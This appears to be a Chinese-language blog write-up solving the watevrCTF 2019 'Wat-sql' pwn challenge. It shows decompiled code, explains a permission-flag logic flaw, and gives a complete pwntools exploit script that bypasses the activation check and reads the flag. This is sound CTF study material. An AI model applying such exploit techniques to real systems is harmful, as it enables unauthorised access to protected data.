NSSCTF [watevrCTF 2019]Wat-sql

90.[watevrCTF 2019]Wat-sql(逻辑漏洞)

[watevrCTF 2019]Wat-sql

(1)

1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file sql
sql: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69633004c9f0c7a83f48dd5d1bdad5b617795c81, stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=sql
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	  No	0		3		sql

开了Canary和NX保护

2.ida分析
main函数
void __fastcall main(int a1, char **a2, char **a3)
{
  s2 = (char *)malloc(0x20uLL);
  signal(14, (__sighandler_t)handler);
  alarm(0x28u);
  sub_40128B();
  if ( *((_DWORD *)s2 + 8) != 7955827 )
    exit(0);
  puts("Welcome to wat-sql!");
  puts("This project was made as an extention to the super successful project, sabataD!");
  puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");
  sub_40115F();
}

看到这里开头有一个sub_40128B函数
只有满足sub_40128B函数中的限制条件后,才会继续运行程序
最后运行sub_40115F函数

sub_40128B函数
int sub_40128B()
{
  printf("%s", "Demo activation code: ");
  fflush(stdout);
  fgets(s2, 36, stdin);
  if ( !strcmp("watevr-sql2019-demo-code-admin", s2) && *((_DWORD *)s2 + 8) == 7955827 )
    return puts("Demo access granted!");
  else
    return puts("Demo access not granted!");
}

这里先是一个读取,读取最大36个字符给s2
在下面是if判断
先比较s2是否与watevr-sql2019-demo-code-admin是否相同
在验证s2的第33-36位是否为7955827(0x796573)
(第33-36位的原因是:
这里把s2转换成DWORD*类型(4 字节指针),并偏移8个DWORD(即 32 字节),*((_DWORD *)s2 + 8)指向s2 + 8×4 = s2 + 32(第 33 字节))
知识点:
DWORD 是一个 typedef 类型,在不同的编程环境下,其具体定义可能有所不同,但一般而言:

  • 它表示 “双字”(Double Word)。
  • 长度为 32 位,也就是 4 字节,相当于unsigned int
  • 若代码中采用_DWORD这种写法,往往是自定义的类型别名,例子:
 typedef unsigned int _DWORD; // 32位无符号整数

DWORD* 是指向DWORD类型的指针,它具备以下特点:

  • 内存访问:借助该指针能够访问 4 字节的数据。
  • 指针运算:当指针进行加减操作时,步长为 4 字节。
  • 常见用途:多用于处理二进制数据、内存块或者 32 位数值数组。
sub_40115F函数
void sub_40115F()
{
  while ( 1 )
  {
    while ( 1 )
    {
      printf("%s", "Query: ");
      fflush(stdout);
      fgets(haystack, 20, stdin);
      if ( !strstr(haystack, "read") )
        break;
      if ( ++dword_602100 > 2 )
      {
        printf("You have exhausted the request limit for your wat-sql demo!");
        __asm { retn }
      }
      sub_400E30();
    }
    if ( strstr(haystack, "write") )
    {
      sub_400FB7();
      if ( ++dword_602100 > 2 )
      {
        printf("You have exhausted the request limit for your wat-sql demo!");
        __asm { retn }
      }
    }
    else
    {
      puts("Unrecognised command!");
    }
  }
}

这里进入循环,有一个读取输入点给haystack,选择read还是write,并会记录两者的总调用次数,超过两次会拒绝访问
先看选择read时,会调用sub_400E30函数
再看选择write时,会调用sub_400FB7函数

read
int sub_400E30()
{
  int result; // eax

  printf("%s", "database to read from: ");
  fflush(stdout);
  fgets(name, 100, stdin);
  strtok(name, "\n");
  if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC )
  {
    result = puts("You are not allowed access to that database!");
    dword_6020FC = 0;
  }
  else
  {
    dword_6020FC = 1;
    if ( access(name, 0) == -1 )
    {
      return puts("Tried to open non-existing database");
    }
    else
    {
      printf("%s", "database to read: ");
      fflush(stdout);
      fgets(nptr, 7, stdin);
      dword_6022A0 = atoi(nptr) + 1;
      pthread_create(&th, 0LL, start_routine, 0LL);
      result = pthread_join(th, 0LL);
      dword_6020FC = 0;
    }
  }
  return result;
}

先读取一个输入给name,并移除换行符
在下面用if判断对读取的name进行判断
第一条:
检查name中是否有flag,是否有字符*(42 是*的 ASCII 码值),是否有字符?(63 是?的 ASCII 码值),三个条件中的任意一个满足,结果就为真
第二条:
检查权限状态,!dword_6020FC意味着当该变量的值为 0 时,结果就为真
这里会有三种情况:
1.无权限(dword_6020FC=0),无限制字符,会是这里

{
      return puts("Tried to open non-existing database");
    }

2.无权限(dword_6020FC=0),输入限制字符,会是这里

{
    result = puts("You are not allowed access to that database!");
    dword_6020FC = 0;
  }

3.只有有权限(dword_6020FC=1),再输入限制字符,才会到下面输入flag,得到flag数据库中的内容

else
    {
      printf("%s", "database to read: ");
      fflush(stdout);
      fgets(nptr, 7, stdin);
      dword_6022A0 = atoi(nptr) + 1;
      pthread_create(&th, 0LL, start_routine, 0LL);
      result = pthread_join(th, 0LL);
      dword_6020FC = 0;
    }

这个函数的这里是整个程序的关键

 else
  {
    dword_6020FC = 1;
    if ( access(name, 0) == -1 )
    {
      return puts("Tried to open non-existing database");
    }

是一个逻辑漏洞
当我们没有输入上面的限制字符,只是没有权限(也就是随便输入了一段字符串)时,就会到这里,他直接给了权限

dword_6020FC = 1;

此时我们再次选择read函数,并且输入flag,有了权限,会跳转到这里

else
    {
      printf("%s", "database to read: ");
      fflush(stdout);
      fgets(nptr, 7, stdin);
      dword_6022A0 = atoi(nptr) + 1;
      pthread_create(&th, 0LL, start_routine, 0LL);
      result = pthread_join(th, 0LL);
      dword_6020FC = 0;
    }

我们输入flag,就会读取flag值

write
int sub_400FB7()
{
  int result; // eax

  printf("%s", "database to write to: ");
  fflush(stdout);
  fgets(name, 100, stdin);
  strtok(name, "\n");
  if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC )
  {
    result = puts("You are not allowed access to that database!");
    dword_6020FC = 0;
  }
  else
  {
    dword_6020FC = 1;
    if ( access(name, 0) == -1 )
    {
      return puts("Tried to open non-existing database");
    }
    else
    {
      printf("%s", "Database to write to: ");
      fflush(stdout);
      fgets(nptr, 8, stdin);
      printf("%s", "Data to write: ");
      fflush(stdout);
      fgets(s_0, 200, stdin);
      dword_6022A0 = atoi(nptr);
      return pthread_create(&newthread, 0LL, sub_400CE0, 0LL);
    }
  }
  return result;
}

这里跟read调用的函数差不多,只不过这里是写入,不是读取,所以这里没什么用

3.EXP
思路:

主要用选择read,调用的函数里存在的逻辑漏洞,来读取flag
1.先绕过选择之前的限制
2.选择read,随便输入一个name值,触发漏洞,获得权限
3.再次选择read,输入flag,进入最后的读取,输入flag,得到flag值
先输入watevr-sql2019-demo-code-admin和7955827(0x796573)绕过限制

payload=b'watevr-sql2019-demo-code-admin'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

发现这里输入没绕过限制
 

NSSCTF [watevrCTF 2019]Wat-sql_第1张图片


我们地址的输入点是第33字节,这里提前了两位,所以加两位填充
接着按思路写入

payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
脚本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',24724)
io= process('/home/motaly/sql')

payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
io.interactive()

这题我本地没通,但远程是通的,连通后随便输入一个值,就能得到flag

你可能感兴趣的:(PWN-题解,NSSCTF题解,pwn)